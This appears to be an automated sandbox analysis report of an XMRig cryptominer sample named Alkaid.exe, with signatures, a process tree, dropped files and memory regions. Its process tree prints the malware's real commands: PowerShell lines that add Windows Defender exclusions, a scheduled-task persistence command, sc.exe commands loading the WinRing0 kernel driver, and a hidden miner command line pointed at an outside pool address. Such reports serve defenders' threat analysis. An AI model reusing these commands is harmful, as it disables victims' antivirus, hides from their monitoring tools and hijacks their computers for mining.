Analysis

  • user interaction
    yes
  • max time kernel
    150s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    30/09/2026, 14:16

General

  • Target
    Alkaid.exe
  • Size 3.0MB
  • Sample260930-rlgbea113r
  • SHA256 3e029ec6feda667643596a708d40e3e659947a300e71168b93af093750948d7b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 24 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Executes dropped EXE 2 IoCs
  • Stops running service(s) 4 TTPs
  • Enumerates connected drives 3 TTPs 4 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Alkaid.exe
    "C:\Users\Admin\AppData\Local\Temp\Alkaid.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3420
    • C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Alkaid.exe"
      2⤵
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5096
      • C:\Windows\System32\cmd.exe
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4628
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Enumerates connected drives
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4940
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Enumerates connected drives
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3860
      • C:\Windows\System32\cmd.exe
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4296
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4552
      • C:\Windows\System32\cmd.exe
        "cmd" cmd /c "C:\Windows\system32\services64.exe"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4692
        • C:\Windows\system32\services64.exe
          C:\Windows\system32\services64.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4336
          • C:\Windows\System32\conhost.exe
            "C:\Windows\System32\conhost.exe" "C:\Windows\system32\services64.exe"
            5⤵
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2108
            • C:\Windows\System32\cmd.exe
              "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
              6⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:1472
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Enumerates connected drives
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2436
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Enumerates connected drives
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2688
            • C:\Windows\system32\Microsoft\Libs\sihost64.exe
              "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:1580
              • C:\Windows\System32\conhost.exe
                "C:\Windows\System32\conhost.exe" "/sihost64"
                7⤵
                  PID:3776
              • C:\Windows\System32\sc.exe
                "sc" stop WinRing0_1_2_0
                6⤵
                • Launches sc.exe
                PID:2012
              • C:\Windows\System32\sc.exe
                "sc" delete WinRing0_1_2_0
                6⤵
                • Launches sc.exe
                PID:1256
              • C:\Windows\System32\sc.exe
                "sc" create WinRing0_1_2_0 type= kernel start= demand binPath= "C:\Windows\system32\Microsoft\Libs\WinRing0x64.sys"
                6⤵
                • Launches sc.exe
                PID:5112
              • C:\Windows\System32\sc.exe
                "sc" start WinRing0_1_2_0
                6⤵
                • Launches sc.exe
                PID:1404
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe --cinit-find-x -B --donate-level=0 --algo="rx/0" --asm=auto --randomx-mode=auto --cpu-memory-pool=1 --cpu-no-yield --randomx-wrmsr --huge-pages-jit --url=95.81.100.209:3344 --user=main --pass= --cpu-max-threads-hint=50 --cinit-stealth-targets="Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexp64.exe" --cinit-idle-wait=3 --cinit-idle-cpu=100 --nicehash --tls --cinit-stealth --cinit-no-sleep --cinit-fullscreen
                6⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of FindShellTrayWindow
                PID:5068

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          conhost.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log
          • Size 539B
          • SHA256 8c5f958972fce1812970a1f8da8ccef94a86663d42d13e296813673638a6b68b
          • MD5 SHA1 SHA512 TLSH

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 85f6b0971e94daf9fd4e39413824f162851a9f5ce7f989bd92c903a4dbcbef26
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 01f0235698e0b33a43b3e6c854cf2a8c7e7b6f2143da08e6ef1e4c027b999c7e
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 2b139c74072ccbdaa17b950f32a6dbc934dfb7af9973d97c9b0d9c498012ba68
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_sjqxq0hh.bot.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sjqxq0hh.bot.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          sihost64.exe

          • Path C:\Windows\System32\Microsoft\Libs\sihost64.exe
          • Size 34KB
          • SHA256 1e9fd12e6dc9902af5965c02e7faa401b8830560dd95ba2e130660a80a3b1ecf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          services64.exe

          • Path C:\Windows\System32\services64.exe
          • Size 3.0MB
          • SHA256 3e029ec6feda667643596a708d40e3e659947a300e71168b93af093750948d7b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/3420-0-0x000001E88E0F0000-0x000001E88E3B8000-memory.dmp

          memory/3420-5-0x00007FF6356B0000-0x00007FF6356EC000-memory.dmp

          memory/3420-6-0x000001E88E0F0000-0x000001E88E3B8000-memory.dmp

          memory/3420-2-0x00007FF6356B0000-0x00007FF6356EC000-memory.dmp

          memory/3776-101-0x00000271CA8C0000-0x00000271CA8C7000-memory.dmp

          memory/3776-102-0x00000271CAC10000-0x00000271CAC16000-memory.dmp

          memory/4336-44-0x00007FF6942C0000-0x00007FF6942FC000-memory.dmp

          memory/4336-47-0x00007FF6942C0000-0x00007FF6942FC000-memory.dmp

          memory/4940-12-0x000001FF5C330000-0x000001FF5C340000-memory.dmp

          memory/4940-13-0x000001FF5C330000-0x000001FF5C340000-memory.dmp

          memory/4940-21-0x000001FF5CF30000-0x000001FF5CF52000-memory.dmp

          memory/5068-94-0x0000000002BE0000-0x0000000002C00000-memory.dmp

          memory/5068-86-0x0000000140000000-0x00000001408EE000-memory.dmp

          memory/5068-104-0x0000000140000000-0x00000001408EE000-memory.dmp

          memory/5068-103-0x0000000140000000-0x00000001408EE000-memory.dmp

          memory/5068-80-0x0000000140000000-0x00000001408EE000-memory.dmp

          memory/5068-81-0x0000000140000000-0x00000001408EE000-memory.dmp

          memory/5068-77-0x0000000140000000-0x00000001408EE000-memory.dmp

          memory/5068-82-0x0000000140000000-0x00000001408EE000-memory.dmp

          memory/5068-90-0x0000000140000000-0x00000001408EE000-memory.dmp

          memory/5068-87-0x0000000140000000-0x00000001408EE000-memory.dmp

          memory/5068-83-0x0000000140000000-0x00000001408EE000-memory.dmp

          memory/5068-79-0x0000000140000000-0x00000001408EE000-memory.dmp

          memory/5068-93-0x0000000140000000-0x00000001408EE000-memory.dmp

          memory/5068-92-0x0000000140000000-0x00000001408EE000-memory.dmp

          memory/5068-91-0x0000000140000000-0x00000001408EE000-memory.dmp

          memory/5068-89-0x0000000140000000-0x00000001408EE000-memory.dmp

          memory/5068-88-0x0000000140000000-0x00000001408EE000-memory.dmp

          memory/5068-84-0x0000000140000000-0x00000001408EE000-memory.dmp

          memory/5068-85-0x0000000140000000-0x00000001408EE000-memory.dmp

          memory/5068-96-0x0000000140000000-0x00000001408EE000-memory.dmp

          memory/5068-100-0x0000000140000000-0x00000001408EE000-memory.dmp

          memory/5068-99-0x0000000140000000-0x00000001408EE000-memory.dmp

          memory/5068-98-0x0000000140000000-0x00000001408EE000-memory.dmp

          memory/5068-95-0x0000000140000000-0x00000001408EE000-memory.dmp

          memory/5068-97-0x0000000140000000-0x00000001408EE000-memory.dmp

          memory/5096-35-0x000001CA9C450000-0x000001CA9C460000-memory.dmp

          memory/5096-8-0x000001CAB5140000-0x000001CAB5402000-memory.dmp

          memory/5096-9-0x000001CA9C450000-0x000001CA9C460000-memory.dmp

          memory/5096-10-0x000001CA9C450000-0x000001CA9C460000-memory.dmp

          memory/5096-7-0x000001CA9C450000-0x000001CA9C460000-memory.dmp

          memory/5096-3-0x000001CA9A380000-0x000001CA9A641000-memory.dmp

          memory/5096-11-0x000001CA9C420000-0x000001CA9C432000-memory.dmp

          memory/5096-34-0x000001CA9C450000-0x000001CA9C460000-memory.dmp